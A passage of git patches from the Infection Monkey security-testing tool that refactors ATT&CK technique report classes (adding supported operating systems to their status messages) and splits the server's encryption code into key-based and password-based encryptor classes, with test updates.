try creating hidden files or folders." scanned_msg = "Monkey tried creating hidden files and folders on the system but failed." used_msg = "Monkey created hidden files and folders on the system." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py index 2b13d0865..abc8baa69 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py @@ -4,10 +4,8 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1166(PostBreachTechnique): tech_id = "T1166" - unscanned_msg = ( - "Monkey didn't try setting the setuid or setgid bits since it didn't run on " - "any Linux machines." - ) + relevant_systems = ["Linux"] + unscanned_msg = "Monkey didn't try setting the setuid or setgid bits." scanned_msg = "Monkey tried setting the setuid or setgid bits but failed." used_msg = "Monkey successfully set the setuid or setgid bits." pba_names = [POST_BREACH_SETUID_SETGID] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index b41c1fb54..47aabf7aa 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1188(AttackTechnique): tech_id = "T1188" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't use multi-hop proxy." scanned_msg = "" used_msg = "Monkey used multi-hop proxy." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 02acad288..a00462d85 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1210(AttackTechnique): tech_id = "T1210" + relevant_systems = ["Linux", "Windows"] unscanned_msg = ( "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" ) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 24cab65d8..4cd4d28f6 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -4,7 +4,7 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1216(PostBreachTechnique): tech_id = "T1216" - relevant_sytems = ["Windows"] + relevant_systems = ["Windows"] unscanned_msg = ( "Monkey didn't attempt to execute an arbitrary program with the help of a " "pre-existing signed script. " diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 73eab6fd1..59587d2bd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -5,6 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1222(AttackTechnique): tech_id = "T1222" + relevant_systems = ["Linux", "Windows"] unscanned_msg = "Monkey didn't try to change any file permissions." scanned_msg = "Monkey tried to change file permissions, but failed." used_msg = "Monkey successfully changed file permissions in network systems." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index de2571b6b..edeb083b3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -4,12 +4,10 @@ from monkey_island.cc.services.attack.technique_reports.pba_technique import Pos class T1504(PostBreachTechnique): tech_id = "T1504" - unscanned_msg = ( - "Monkey didn't try modifying powershell startup files since it didn't run on " - "any Windows machines." - ) - scanned_msg = "Monkey tried modifying powershell startup files but failed." - used_msg = "Monkey successfully modified powershell startup files." + relevant_systems = ["Windows"] + unscanned_msg = "Monkey didn't try modifying PowerShell startup files." + scanned_msg = "Monkey tried modifying PowerShell startup files but failed." + used_msg = "Monkey successfully modified PowerShell startup files." pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION] @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 40a421d74..360288a07 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -1,5 +1,6 @@ import abc import logging +from typing import List from common.utils.attack_utils import ScanStatus from common.utils.code_utils import abstractstatic @@ -50,6 +51,16 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ pass + @property + @abc.abstractmethod + def relevant_systems(self) -> List[str]: + """ + :return: systems on which the technique is relevant + (examples: 1. "Trap Command" PBA (technique T1154) is Linux only. + 2. "Job Scheduling" PBA has different techniques for Windows and Linux. + """ + pass + @staticmethod @abstractstatic def get_report_data(): @@ -104,12 +115,17 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): if status == ScanStatus.DISABLED.value: return disabled_msg if status == ScanStatus.UNSCANNED.value: - return cls.unscanned_msg + unscanned_msg = AttackTechnique._get_unscanned_msg_with_reasons(cls.unscanned_msg) + return unscanned_msg elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg + @staticmethod + def _get_unscanned_msg_with_reasons(unscanned_msg): + pass + @classmethod def technique_title(cls): """ From f730e75cc80e72767120062cc914d3969b70fec1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Sep 2021 19:19:35 +0530 Subject: [PATCH 201/454] island: Change `pass` to `...` for abstract properties in cc/services/attack/technique_reports/ See https://stackoverflow.com/a/58321197/10629482. --- .../services/attack/technique_reports/__init__.py | 14 +++++++------- .../attack/technique_reports/pba_technique.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 360288a07..07491fbfc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -25,7 +25,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: Message that will be displayed in case attack technique was not scanned. """ - pass + ... @property @abc.abstractmethod @@ -33,7 +33,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: Message that will be displayed in case attack technique was scanned. """ - pass + ... @property @abc.abstractmethod @@ -41,7 +41,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: Message that will be displayed in case attack technique was used by the scanner. """ - pass + ... @property @abc.abstractmethod @@ -49,7 +49,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: Id of attack technique. E.g. T1003 """ - pass + ... @property @abc.abstractmethod @@ -59,7 +59,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): (examples: 1. "Trap Command" PBA (technique T1154) is Linux only. 2. "Job Scheduling" PBA has different techniques for Windows and Linux. """ - pass + ... @staticmethod @abstractstatic @@ -67,7 +67,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ :return: Report data aggregated from the database. """ - pass + ... @classmethod def technique_status(cls): @@ -124,7 +124,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): @staticmethod def _get_unscanned_msg_with_reasons(unscanned_msg): - pass + ... @classmethod def technique_title(cls): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 9e7324917..07e64566e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -15,7 +15,7 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta): """ :return: names of post breach action """ - pass + ... @classmethod def get_pba_query(cls, post_breach_action_names): From 803d1c910f1db891c842b8bc2ead42c7d53ddfcd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 22 Sep 2021 16:27:36 +0200 Subject: [PATCH 202/454] Island: Separate password and key encryption --- .../field_encryptors/string_list_encryptor.py | 2 +- .../cc/resources/configuration_export.py | 6 +- .../cc/resources/configuration_import.py | 7 +- monkey/monkey_island/cc/server_setup.py | 2 +- .../{encryptor.py => key_encryptor.py} | 28 +++----- .../technique_report_tools.py | 2 +- monkey/monkey_island/cc/services/config.py | 2 +- .../services/telemetry/processing/exploit.py | 2 +- .../telemetry/processing/system_info.py | 2 +- .../cc/services/utils/encryption.py | 59 ---------------- .../cc/services/utils/i_encryptor.py | 20 ++++++ .../cc/services/utils/key_encryption.py | 38 +++++++++++ .../cc/services/utils/password_encryption.py | 67 +++++++++++++++++++ .../scoutsuite/scoutsuite_auth_service.py | 2 +- .../test_string_list_encryptor.py | 2 +- .../cc/resources/test_configuration_import.py | 5 +- ...est_encryptor.py => test_key_encryptor.py} | 2 +- .../cc/services/utils/test_encryption.py | 19 +++--- .../test_scoutsuite_auth_service.py | 2 +- 19 files changed, 165 insertions(+), 104 deletions(-) rename monkey/monkey_island/cc/server_utils/{encryptor.py => key_encryptor.py} (54%) delete mode 100644 monkey/monkey_island/cc/services/utils/encryption.py create mode 100644 monkey/monkey_island/cc/services/utils/i_encryptor.py create mode 100644 monkey/monkey_island/cc/services/utils/key_encryption.py create mode 100644 monkey/monkey_island/cc/services/utils/password_encryption.py rename monkey/tests/unit_tests/monkey_island/cc/server_utils/{test_encryptor.py => test_key_encryptor.py} (89%) diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index 63801cf69..91464c1fa 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,7 +1,7 @@ from typing import List from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 4a7aeec24..c9565011b 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -5,7 +5,7 @@ from flask import request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.encryption import encrypt_string +from monkey_island.cc.services.utils.password_encryption import PasswordBasedEncryptor class ConfigurationExport(flask_restful.Resource): @@ -20,6 +20,8 @@ class ConfigurationExport(flask_restful.Resource): if should_encrypt: password = data["password"] plaintext_config = json.dumps(plaintext_config) - config_export = encrypt_string(plaintext_config, password) + + pb_encryptor = PasswordBasedEncryptor(password) + config_export = pb_encryptor.encrypt(plaintext_config) return {"config_export": config_export, "encrypted": should_encrypt} diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index efa1d79a7..99b43f3ba 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -9,10 +9,10 @@ from flask import request from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.encryption import ( +from monkey_island.cc.services.utils.password_encryption import ( InvalidCiphertextError, InvalidCredentialsError, - decrypt_ciphertext, + PasswordBasedEncryptor, is_encrypted, ) @@ -72,7 +72,8 @@ class ConfigurationImport(flask_restful.Resource): try: config = request_contents["config"] if ConfigurationImport.is_config_encrypted(request_contents["config"]): - config = decrypt_ciphertext(config, request_contents["password"]) + pb_encryptor = PasswordBasedEncryptor(request_contents["password"]) + config = pb_encryptor.decrypt(config) return json.loads(config) except (JSONDecodeError, InvalidCiphertextError): logger.exception( diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 35879a1d4..5ed167126 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -27,8 +27,8 @@ from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, ) -from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 +from monkey_island.cc.server_utils.key_encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/key_encryptor.py similarity index 54% rename from monkey/monkey_island/cc/server_utils/encryptor.py rename to monkey/monkey_island/cc/server_utils/key_encryptor.py index ab9bc617a..e41cf56f4 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/key_encryptor.py @@ -1,17 +1,16 @@ -import base64 import os # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but # is maintained. from Crypto import Random # noqa: DUO133 # nosec: B413 -from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file +from monkey_island.cc.services.utils.key_encryption import KeyBasedEncryptor _encryptor = None -class Encryptor: +class DataStoreEncryptor: _BLOCK_SIZE = 32 _PASSWORD_FILENAME = "mongo_key.bin" @@ -32,30 +31,19 @@ class Encryptor: with open(password_file, "rb") as f: self._cipher_key = f.read() - def _pad(self, message): - return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) - ) - - def _unpad(self, message: str): - return message[0 : -ord(message[len(message) - 1])] - def enc(self, message: str): - cipher_iv = Random.new().read(AES.block_size) - cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode())).decode() + key_encryptor = KeyBasedEncryptor(self._cipher_key) + return key_encryptor.encrypt(message) - def dec(self, enc_message): - enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0 : AES.block_size] - cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + def dec(self, enc_message: str): + key_encryptor = KeyBasedEncryptor(self._cipher_key) + return key_encryptor.decrypt(enc_message) def initialize_encryptor(password_file_dir): global _encryptor - _encryptor = Encryptor(password_file_dir) + _encryptor = DataStoreEncryptor(password_file_dir) def get_encryptor(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 0a9a1045b..6a431f35a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor def parse_creds(attempt): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ba4083286..26e3ab971 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -19,7 +19,7 @@ from common.config_value_paths import ( USER_LIST_PATH, ) from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 7fa5654c5..0a0ccce15 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -3,7 +3,7 @@ import copy import dateutil from monkey_island.cc.models import Monkey -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 73a81e332..1bcc61ecd 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 diff --git a/monkey/monkey_island/cc/services/utils/encryption.py b/monkey/monkey_island/cc/services/utils/encryption.py deleted file mode 100644 index ae4af2257..000000000 --- a/monkey/monkey_island/cc/services/utils/encryption.py +++ /dev/null @@ -1,59 +0,0 @@ -import base64 -import io -import logging - -import pyAesCrypt - -BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef - -logger = logging.getLogger(__name__) - - -def encrypt_string(plaintext: str, password: str) -> str: - plaintext_stream = io.BytesIO(plaintext.encode()) - ciphertext_stream = io.BytesIO() - - pyAesCrypt.encryptStream(plaintext_stream, ciphertext_stream, password, BUFFER_SIZE) - - ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue()) - logger.info("String encrypted.") - - return ciphertext_b64.decode() - - -def decrypt_ciphertext(ciphertext: str, password: str) -> str: - ciphertext = base64.b64decode(ciphertext) - ciphertext_stream = io.BytesIO(ciphertext) - plaintext_stream = io.BytesIO() - - ciphertext_stream_len = len(ciphertext_stream.getvalue()) - - try: - pyAesCrypt.decryptStream( - ciphertext_stream, - plaintext_stream, - password, - BUFFER_SIZE, - ciphertext_stream_len, - ) - except ValueError as ex: - if str(ex).startswith("Wrong password"): - logger.info("Wrong password provided for decryption.") - raise InvalidCredentialsError - else: - logger.info("The corrupt ciphertext provided.") - raise InvalidCiphertextError - return plaintext_stream.getvalue().decode("utf-8") - - -def is_encrypted(ciphertext: str) -> bool: - ciphertext = base64.b64decode(ciphertext) - return ciphertext.startswith(b"AES") - - -class InvalidCredentialsError(Exception): - """ Raised when password for decryption is invalid """ - - -class InvalidCiphertextError(Exception): - """ Raised when ciphertext is corrupted """ diff --git a/monkey/monkey_island/cc/services/utils/i_encryptor.py b/monkey/monkey_island/cc/services/utils/i_encryptor.py new file mode 100644 index 000000000..d83198b7b --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/i_encryptor.py @@ -0,0 +1,20 @@ +from abc import ABC, abstractmethod +from typing import Any + + +class IEncryptor(ABC): + @abstractmethod + def encrypt(self, plaintext: Any) -> Any: + """Encrypts data and returns the ciphertext. + :param plaintext: Data that will be encrypted + :return: Ciphertext generated by encrypting value + :rtype: Any + """ + + @abstractmethod + def decrypt(self, ciphertext: Any): + """Decrypts data and returns the plaintext. + :param ciphertext: Ciphertext that will be decrypted + :return: Plaintext generated by decrypting value + :rtype: Any + """ diff --git a/monkey/monkey_island/cc/services/utils/key_encryption.py b/monkey/monkey_island/cc/services/utils/key_encryption.py new file mode 100644 index 000000000..cb8366da8 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/key_encryption.py @@ -0,0 +1,38 @@ +import base64 +import logging + +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto import Random # noqa: DUO133 # nosec: B413 +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 + +from monkey_island.cc.services.utils.i_encryptor import IEncryptor + +logger = logging.getLogger(__name__) + + +class KeyBasedEncryptor(IEncryptor): + + _BLOCK_SIZE = 32 + + def __init__(self, key: bytes): + self._key = key + + def encrypt(self, plaintext: str) -> str: + cipher_iv = Random.new().read(AES.block_size) + cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) + return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(plaintext).encode())).decode() + + def decrypt(self, ciphertext: str): + enc_message = base64.b64decode(ciphertext) + cipher_iv = enc_message[0 : AES.block_size] + cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + + def _pad(self, message): + return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( + self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) + ) + + def _unpad(self, message: str): + return message[0 : -ord(message[len(message) - 1])] diff --git a/monkey/monkey_island/cc/services/utils/password_encryption.py b/monkey/monkey_island/cc/services/utils/password_encryption.py new file mode 100644 index 000000000..1854722e8 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/password_encryption.py @@ -0,0 +1,67 @@ +import base64 +import io +import logging + +import pyAesCrypt + +from monkey_island.cc.services.utils.i_encryptor import IEncryptor + +logger = logging.getLogger(__name__) + + +class PasswordBasedEncryptor(IEncryptor): + + _BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef + + def __init__(self, password: str): + self.password = password + + def encrypt(self, plaintext: str) -> str: + plaintext_stream = io.BytesIO(plaintext.encode()) + ciphertext_stream = io.BytesIO() + + pyAesCrypt.encryptStream( + plaintext_stream, ciphertext_stream, self.password, self._BUFFER_SIZE + ) + + ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue()) + logger.info("String encrypted.") + + return ciphertext_b64.decode() + + def decrypt(self, ciphertext: str): + ciphertext = base64.b64decode(ciphertext) + ciphertext_stream = io.BytesIO(ciphertext) + plaintext_stream = io.BytesIO() + + ciphertext_stream_len = len(ciphertext_stream.getvalue()) + + try: + pyAesCrypt.decryptStream( + ciphertext_stream, + plaintext_stream, + self.password, + self._BUFFER_SIZE, + ciphertext_stream_len, + ) + except ValueError as ex: + if str(ex).startswith("Wrong password"): + logger.info("Wrong password provided for decryption.") + raise InvalidCredentialsError + else: + logger.info("The corrupt ciphertext provided.") + raise InvalidCiphertextError + return plaintext_stream.getvalue().decode("utf-8") + + +class InvalidCredentialsError(Exception): + """ Raised when password for decryption is invalid """ + + +class InvalidCiphertextError(Exception): + """ Raised when ciphertext is corrupted """ + + +def is_encrypted(ciphertext: str) -> bool: + ciphertext = base64.b64decode(ciphertext) + return ciphertext.startswith(b"AES") diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 36eae6271..0d423bd6a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -5,7 +5,7 @@ from ScoutSuite.providers.base.authentication_strategy import AuthenticationExce from common.cloud.scoutsuite_consts import CloudProviders from common.config_value_paths import AWS_KEYS_PATH from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index 53b004401..fe8af8e0d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,7 @@ import pytest from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor -from monkey_island.cc.server_utils.encryptor import initialize_encryptor +from monkey_island.cc.server_utils.key_encryptor import initialize_encryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index 989994cb6..45ef8daaf 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -6,7 +6,7 @@ from tests.unit_tests.monkey_island.cc.services.utils.test_encryption import PAS from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport -from monkey_island.cc.services.utils.encryption import encrypt_string +from monkey_island.cc.services.utils.password_encryption import PasswordBasedEncryptor def test_is_config_encrypted__json(monkey_config_json): @@ -15,7 +15,8 @@ def test_is_config_encrypted__json(monkey_config_json): @pytest.mark.slow def test_is_config_encrypted__ciphertext(monkey_config_json): - encrypted_config = encrypt_string(monkey_config_json, PASSWORD) + pb_encryptor = PasswordBasedEncryptor(PASSWORD) + encrypted_config = pb_encryptor.encrypt(monkey_config_json) assert ConfigurationImport.is_config_encrypted(encrypted_config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py similarity index 89% rename from monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py rename to monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py index 0ca724d44..f7097ec00 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py @@ -1,6 +1,6 @@ import os -from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor, initialize_encryptor PASSWORD_FILENAME = "mongo_key.bin" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py index fd3191f50..029e8201f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py @@ -4,10 +4,9 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption VALID_CIPHER_TEXT, ) -from monkey_island.cc.services.utils.encryption import ( +from monkey_island.cc.services.utils.password_encryption import ( InvalidCredentialsError, - decrypt_ciphertext, - encrypt_string, + PasswordBasedEncryptor, ) MONKEY_CONFIGS_DIR_PATH = "monkey_configs" @@ -18,23 +17,27 @@ INCORRECT_PASSWORD = "goodbye321" @pytest.mark.slow def test_encrypt_decrypt_string(monkey_config_json): - encrypted_config = encrypt_string(monkey_config_json, PASSWORD) - assert decrypt_ciphertext(encrypted_config, PASSWORD) == monkey_config_json + pb_encryptor = PasswordBasedEncryptor(PASSWORD) + encrypted_config = pb_encryptor.encrypt(monkey_config_json) + assert pb_encryptor.decrypt(encrypted_config) == monkey_config_json @pytest.mark.slow def test_decrypt_string__wrong_password(monkey_config_json): + pb_encryptor = PasswordBasedEncryptor(INCORRECT_PASSWORD) with pytest.raises(InvalidCredentialsError): - decrypt_ciphertext(VALID_CIPHER_TEXT, INCORRECT_PASSWORD) + pb_encryptor.decrypt(VALID_CIPHER_TEXT) @pytest.mark.slow def test_decrypt_string__malformed_corrupted(): + pb_encryptor = PasswordBasedEncryptor(PASSWORD) with pytest.raises(ValueError): - decrypt_ciphertext(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD) + pb_encryptor.decrypt(MALFORMED_CIPHER_TEXT_CORRUPTED) @pytest.mark.slow def test_decrypt_string__no_password(monkey_config_json): + pb_encryptor = PasswordBasedEncryptor("") with pytest.raises(InvalidCredentialsError): - decrypt_ciphertext(VALID_CIPHER_TEXT, "") + pb_encryptor.decrypt(VALID_CIPHER_TEXT) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index faea76f4f..af47d51b5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -5,7 +5,7 @@ import pytest from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.key_encryptor import get_encryptor, initialize_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, From a661dc4fe60e1e6df33ee238050c3718081afa2f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 22 Sep 2021 22:48:13 +0200 Subject: [PATCH 203/454] Island: Refactor encryptors All encryptors are moved to server_utils/encryption. They were renamed according to the class name. Everywhere that we had use the encryptors I have updated the names. Unit tests are also moved to UTs server_utils/encryption. --- .../utils/field_encryptors/string_list_encryptor.py | 2 +- .../monkey_island/cc/resources/configuration_export.py | 4 +++- .../monkey_island/cc/resources/configuration_import.py | 4 ++-- 